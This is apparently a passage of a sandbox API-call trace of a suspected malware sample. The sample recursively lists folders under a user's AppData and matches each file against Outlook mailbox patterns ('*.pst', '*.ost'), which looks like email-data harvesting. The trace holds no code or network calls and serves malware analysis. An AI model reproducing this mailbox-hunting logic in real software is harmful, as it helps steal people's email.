pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache\\Low" [0098.953] PathCombineW (in: pszDest=0x6a1e060, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache\\Low", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache\\Low\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache\\Low\\*" [0098.953] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache\\Low\\*", lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23383600, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0xedd0e6f6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x71ea8c0 [0098.953] FindClose (in: hFindFile=0x71ea8c0 | out: hFindFile=0x71ea8c0) returned 1 [0098.954] FindClose (in: hFindFile=0x71e8ee0 | out: hFindFile=0x71e8ee0) returned 1 [0098.954] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows", pszFile="IETldCache" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache" [0098.954] PathCombineW (in: pszDest=0x6a1e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\*" [0098.954] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\*", lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23441ce0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0xfe9256a4, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x71e8ee0 [0098.954] PathMatchSpecW (pszFile="index.dat", pszSpec="*.pst") returned 0 [0098.954] PathMatchSpecW (pszFile="index.dat", pszSpec="*.ost") returned 0 [0098.954] PathCombineW (in: pszDest=0x6a1e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache", pszFile="Low" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\Low" [0098.954] PathCombineW (in: pszDest=0x6a1e060, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\Low", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\Low\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\Low\\*" [0098.954] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\Low\\*", lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xc6b13880, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc6b13880, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x71ea8c0 [0098.954] PathMatchSpecW (pszFile="index.dat", pszSpec="*.pst") returned 0 [0098.954] PathMatchSpecW (pszFile="index.dat", pszSpec="*.ost") returned 0 [0098.955] FindClose (in: hFindFile=0x71ea8c0 | out: hFindFile=0x71ea8c0) returned 1 [0098.955] FindClose (in: hFindFile=0x71e8ee0 | out: hFindFile=0x71e8ee0) returned 1 [0098.955] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows", pszFile="Libraries" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries" [0098.955] PathCombineW (in: pszDest=0x6a1e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\*" [0098.955] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\*", lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x27bab0e0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x27bab0e0, ftLastWriteTime.dwHighDateTime=0x1d2f180, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x71e8ee0 [0098.955] PathMatchSpecW (pszFile="desktop.ini", pszSpec="*.pst") returned 0 [0098.955] PathMatchSpecW (pszFile="desktop.ini", pszSpec="*.ost") returned 0 [0098.955] PathMatchSpecW (pszFile="Documents.library-ms", pszSpec="*.pst") returned 0 [0098.955] PathMatchSpecW (pszFile="Documents.library-ms", pszSpec="*.ost") returned 0 [0098.955] PathMatchSpecW (pszFile="Music.library-ms", pszSpec="*.pst") returned 0 [0098.955] PathMatchSpecW (pszFile="Music.library-ms", pszSpec="*.ost") returned 0 [0098.955] PathMatchSpecW (pszFile="Pictures.library-ms", pszSpec="*.pst") returned 0 [0098.955] PathMatchSpecW (pszFile="Pictures.library-ms", pszSpec="*.ost") returned 0 [0098.955] PathMatchSpecW (pszFile="Videos.library-ms", pszSpec="*.pst") returned 0 [0098.955] PathMatchSpecW (pszFile="Videos.library-ms", pszSpec="*.ost") returned 0 [0098.955] FindClose (in: hFindFile=0x71e8ee0 | out: hFindFile=0x71e8ee0) returned 1 [0098.955] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows", pszFile="Network Shortcuts" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts" [0098.955] PathCombineW (in: pszDest=0x6a1e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\*" [0098.955] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\*", lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23383600, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0xaeeef71c, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x71e8ee0 [0098.956] FindClose (in: hFindFile=0x71e8ee0 | out: hFindFile=0x71e8ee0) returned 1 [0098.956] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows", pszFile="Printer Shortcuts" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts" [0098.956] PathCombineW (in: pszDest=0x6a1e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\*" [0098.956] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\*", lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23383600, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0xb9c40b55, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x71e8ee0 [0098.956] FindClose (in: hFindFile=0x71e8ee0 | out: hFindFile=0x71e8ee0) returned 1 [0098.956] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows", pszFile="PrivacIE" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE" [0098.956] PathCombineW (in: pszDest=0x6a1e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\*" [0098.956] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\*", lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x75148b20, ftLastAccessTime.dwHighDateTime=0x1d2fb14, ftLastWriteTime.dwLowDateTime=0x75148b20, ftLastWriteTime.dwHighDateTime=0x1d2fb14, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x71e8ee0 [0098.957] PathMatchSpecW (pszFile="index.dat", pszSpec="*.pst") returned 0 [0098.957] PathMatchSpecW (pszFile="index.dat", pszSpec="*.ost") returned 0 [0098.957] PathCombineW (in: pszDest=0x6a1e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE", pszFile="Low" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\Low" [0098.957] PathCombineW (in: pszDest=0x6a1e060, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\Low", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\Low\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\Low\\*" [0098.957] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\Low\\*", lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xc77b8d60, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc77b8d60, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x71ea8c0 [0098.957] PathMatchSpecW (pszFile="index.dat", pszSpec="*.pst") returned 0 [0098.957] PathMatchSpecW (pszFile="index.dat", pszSpec="*.ost") returned 0 [0098.957] FindClose (in: hFindFile=0x71ea8c0 | out: hFindFile=0x71ea8c0) returned 1 [0098.957] FindClose (in: hFindFile=0x71e8ee0 | out: hFindFile=0x71e8ee0) returned 1 [0098.957] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows", pszFile="Recent" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0098.957] PathCombineW (in: pszDest=0x6a1e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*" [0098.957] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*", lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xbb4fe8b0, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xbb4fe8b0, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x71ea8c0 [0098.991] PathMatchSpecW (pszFile="-lBtKjvttR6.lnk", pszSpec="*.pst") returned 0 [0098.991] PathMatchSpecW (pszFile="-lBtKjvttR6.lnk", pszSpec="*.ost") returned 0 [0098.991] PathMatchSpecW (pszFile="1JIR6WH.flv.lnk", pszSpec="*.pst") returned 0 [0098.991] PathMatchSpecW (pszFile="1JIR6WH.flv.lnk", pszSpec="*.ost") returned 0 [0098.991] PathMatchSpecW (pszFile="1n511.lnk", pszSpec="*.pst") returned 0 [0098.991] PathMatchSpecW (pszFile="1n511.lnk", pszSpec="*.ost") returned 0 [0098.991] PathMatchSpecW (pszFile="1Nbjb.lnk", pszSpec="*.pst") returned 0 [0098.991] PathMatchSpecW (pszFile="1Nbjb.lnk", pszSpec="*.ost") returned 0 [0098.991] PathMatchSpecW (pszFile="2A6bXM9.lnk", pszSpec="*.pst") returned 0 [0098.991] PathMatchSpecW (pszFile="2A6bXM9.lnk", pszSpec="*.ost") returned 0 [0098.991] PathMatchSpecW (pszFile="2B4wzDIgK8y.lnk", pszSpec="*.pst") returned 0 [0098.991] PathMatchSpecW (pszFile="2B4wzDIgK8y.lnk", pszSpec="*.ost") returned 0 [0098.991] PathMatchSpecW (pszFile="2_3-k08.lnk", pszSpec="*.pst") returned 0 [0098.991] PathMatchSpecW (pszFile="2_3-k08.lnk", pszSpec="*.ost") returned 0 [0098.991] PathMatchSpecW (pszFile="37faU3 U8a8X.ots.lnk", pszSpec="*.pst") returned 0 [0098.991] PathMatchSpecW (pszFile="37faU3 U8a8X.ots.lnk", pszSpec="*.ost") returned 0 [0098.991] PathMatchSpecW (pszFile="3CvbZ27sNVNlEIcDr.lnk", pszSpec="*.pst") returned 0 [0099.260] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\*", lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xb2bb8c20, ftLastAccessTime.dwHighDateTime=0x1d3ab19, ftLastWriteTime.dwLowDateTime=0xb2bb8c20, ftLastWriteTime.dwHighDateTime=0x1d3ab19, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x4466460 [0099.278] FindClose (in: hFindFile=0x4466460 | out: hFindFile=0x4466460) returned 1 [0099.278] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\*", lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xf14acaa0, ftLastAccessTime.dwHighDateTime=0x1d4d5f7, ftLastWriteTime.dwLowDateTime=0xf14acaa0, ftLastWriteTime.dwHighDateTime=0x1d4d5f7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x4466460 [0099.289] FindClose (in: hFindFile=0x4466460 | out: hFindFile=0x4466460) returned 1 [0099.326] FindClose (in: hFindFile=0x71ea8c0 | out: hFindFile=0x71ea8c0) returned 1 [0099.326] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\*", lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x2341bb80, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0xf9b7c855, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x71ea8c0 [0099.334] FindClose (in: hFindFile=0x71ea8c0 | out: hFindFile=0x71ea8c0) returned 1 [0099.334] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\*", lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x2335d4a0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x2341bb80, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x27b12b60, ftLastWriteTime.dwHighDateTime=0x1d2f180, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x71ea8c0 [0099.334] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\*", lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x2335d4a0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x61ec36c0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x61ec36c0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x71ea7a0 [0099.336] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*", lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x233f5a20, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x2d76088a, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x71ea380 [0099.336] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\*", lpFindFileData=0x6a1d450 | out: lpFindFileData=0x6a1d450*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x235beaa0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x1b75a077, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x71ea4a0 [0099.336] FindClose (in: hFindFile=0x71ea4a0 | out: hFindFile=0x71ea4a0) returned 1 [0099.337] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\*", lpFindFileData=0x6a1d450 | out: lpFindFileData=0x6a1d450*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x233f5a20, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x28236d60, ftLastWriteTime.dwHighDateTime=0x1d2f180, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x71ea4a0 [0099.337] FindClose (in: hFindFile=0x71ea4a0 | out: hFindFile=0x71ea4a0) returned 1 [0099.337] FindClose (in: hFindFile=0x71ea380 | out: hFindFile=0x71ea380) returned 1 [0099.337] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\*", lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x233f5a20, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x27b84f80, ftLastWriteTime.dwHighDateTime=0x1d2f180, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x71ea380 [0099.337] FindClose (in: hFindFile=0x71ea380 | out: hFindFile=0x71ea380) returned 1 [0099.338] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\*", lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x233f5a20, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x7e05e94e, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x71ea380 [0099.338] FindClose (in: hFindFile=0x71ea380 | out: hFindFile=0x71ea380) returned 1 [0099.338] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*", lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x2335d4a0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x8e851e60, ftLastAccessTime.dwHighDateTime=0x1d2f189, ftLastWriteTime.dwLowDateTime=0x8e851e60, ftLastWriteTime.dwHighDateTime=0x1d2f189, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x71ea380 [0099.338] FindClose (in: hFindFile=0x71ea380 | out: hFindFile=0x71ea380) returned 1 [0099.338] FindClose (in: hFindFile=0x71ea7a0 | out: hFindFile=0x71ea7a0) returned 1 [0099.338] FindClose (in: hFindFile=0x71ea8c0 | out: hFindFile=0x71ea8c0) returned 1 [0099.338] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\*", lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2335d4a0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x2335d4a0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0xaef15879, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x71ea8c0 [0099.739] FindClose (in: hFindFile=0x71ea8c0 | out: hFindFile=0x71ea8c0) returned 1 [0099.740] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\*", lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2335d4a0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x233f5a20, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0xef632f84, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x71ea8c0 [0099.740] FindClose (in: hFindFile=0x71ea8c0 | out: hFindFile=0x71ea8c0) returned 1 [0099.740] FindClose (in: hFindFile=0x71e8b80 | out: hFindFile=0x71e8b80) returned 1 [0099.740] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Word\\*", lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc7e6a8f0, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xc7e6a8f0, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xc7e6a8f0, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x71e8b80 [0099.740] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\*", lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc7e6a8f0, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xc7e6a8f0, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xc7e6a8f0, 